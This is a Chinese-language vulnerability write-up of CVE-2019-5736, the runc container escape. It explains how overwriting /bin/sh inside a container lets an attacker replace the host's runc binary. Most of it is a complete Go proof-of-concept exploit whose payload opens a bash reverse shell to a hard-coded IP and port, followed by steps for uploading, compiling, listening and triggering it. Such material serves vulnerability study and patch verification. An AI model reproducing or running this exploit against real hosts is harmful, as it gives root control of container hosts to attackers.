CVE-2019-5736:Docker容器挂载procfs逃逸
前置知识
runc
docker run nginx
│
▼
Docker Engine
│
▼
containerd
│
▼
runc
│
▼
Linux Kernel
(namespace / cgroup / mount / seccomp ...)
│
▼
nginx 进程runc 是一个底层容器运行时,实现了 OCI Runtime Specification,主要负责根据 OCI 配置创建和启动容器进程。Docker 本身不会直接负责最底层的容器进程创建,而是通过 containerd 调用 runc。runc 根据 OCI 的 config.json 和 rootfs,配置 namespace、cgroup、mount、capabilities、seccomp 等,然后创建容器进程。所以容器本质上并不是虚拟机,而是一个被隔离和资源限制的 Linux 进程。
procfs
procfs是展示系统进程状态的虚拟文件系统 ,包含敏感信息。直接将其挂载到不受控的容器内,特别是容器默认拥有root权限且未启用用户隔离时,将极大地增加安全风险。因此,需谨慎处理,确保容器环境安全隔离
漏洞原理
影响版本:docker version <=18.09.2 RunC version <=1.0-rc6
漏洞点在于runC,RunC是一个容器运行时,最初是作为Docker的一部分开发的,后来作为一个单独的开源工具和库被提取出来。作为“低级别”容器运行时,runC主要由“高级别”容器运行时(例如Docker)用于生成和运行容器,尽管它可以用作独立工具。像Docker这样的“高级别”容器运行时通常会实现镜像创建和管理等功能,并且可以使用runC来处理与运行容器相关的任务:创建容器、将进程附加到现有容器等。在Docker 18.09.2之前的版本中使用了的runc版本小于1.0-rc6,因此允许攻击者重写宿主机上的runc 二进制文件,攻击者可以在宿主机上以root身份执行命令导致提权
其核心在于利用Linux /proc 文件系统的特性,实现对宿主机上 runc 程序的篡改。
- 替换容器内关键程序:攻击者在容器内部,将
/bin/sh这样的关键可执行文件,替换为一个指向/proc/self/exe的脚本。/proc/self/exe是一个指向当前运行程序本身的符号链接。 - 等待触发时机:当管理员在宿主机上对容器执行操作(如
docker exec)时,宿主机上的runc程序会被启动,并进入容器环境执行命令。 - 执行恶意脚本:
runc进程进入容器后,会尝试执行/bin/sh。由于/bin/sh已被替换,实际执行的是指向/proc/self/exe的脚本,也就是重新执行了runc自身。 - 获取并篡改文件句柄:这个新启动的恶意
runc进程(在容器内但身份是宿主机的runc),通过/proc/[pid]/exe获取到宿主机上runc二进制文件的文件句柄。 - 覆盖宿主机文件:恶意进程利用获取到的句柄,通过
/proc/self/fd/以写入方式重新打开该文件,并循环尝试覆盖宿主机的runc文件。由于runc进程在退出时,内核会解除对其二进制文件的锁定,此时写入便会成功。 - 实现完全逃逸:宿主机的
runc被覆盖为恶意程序。此后,任何需要调用runc的操作(如新的docker exec)都会执行攻击者的代码,从而实现完全的宿主机控制。
POC
package main
import (
"fmt"
"io/ioutil"
"os"
"strconv"
"strings"
"flag"
)
var shellCmd string
func init() {
flag.StringVar(&shellCmd, "shell", "", "Execute arbitrary commands")
flag.Parse()
}
func main() {
// This is the line of shell commands that will execute on the host
var payload = "#!/bin/bash \n bash -i >& /dev/tcp/192.168.127.144/8888 0>&1"
// First we overwrite /bin/sh with the /proc/self/exe interpreter path
fd, err := os.Create("/bin/sh")
if err != nil {
fmt.Println(err)
return
}
fmt.Fprintln(fd, "#!/proc/self/exe")
err = fd.Close()
if err != nil {
fmt.Println(err)
return
}
fmt.Println("[+] Overwritten /bin/sh successfully")
// Loop through all processes to find one whose cmdline includes runcinit
// This will be the process created by runc
var found int
for found == 0 {
pids, err := ioutil.ReadDir("/proc")
if err != nil {
fmt.Println(err)
return
}
for _, f := range pids {
fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
fstring := string(fbytes)
if strings.Contains(fstring, "runc") {
fmt.Println("[+] Found the PID:", f.Name())
found, err = strconv.Atoi(f.Name())
if err != nil {
fmt.Println(err)
return
}
}
}
}
// We will use the pid to get a file handle for runc on the host.
var handleFd = -1
for handleFd == -1 {
// Note, you do not need to use the O_PATH flag for the exploit to work.
handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
if int(handle.Fd()) > 0 {
handleFd = int(handle.Fd())
}
}
fmt.Println("[+] Successfully got the file handle")
// Now that we have the file handle, lets write to the runc binary and overwrite it
// It will maintain it's executable flag
for {
writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
if int(writeHandle.Fd()) > 0 {
fmt.Println("[+] Successfully got write handle", writeHandle)
fmt.Println("[+] The command executed is" + payload)
writeHandle.Write([]byte(payload))
return
}
}
}
设置好需要反弹shell的靶机ip
漏洞复现
上传并编译POC

把POC上传并增加权限

监听端口

运行POC

触发漏洞反弹shell

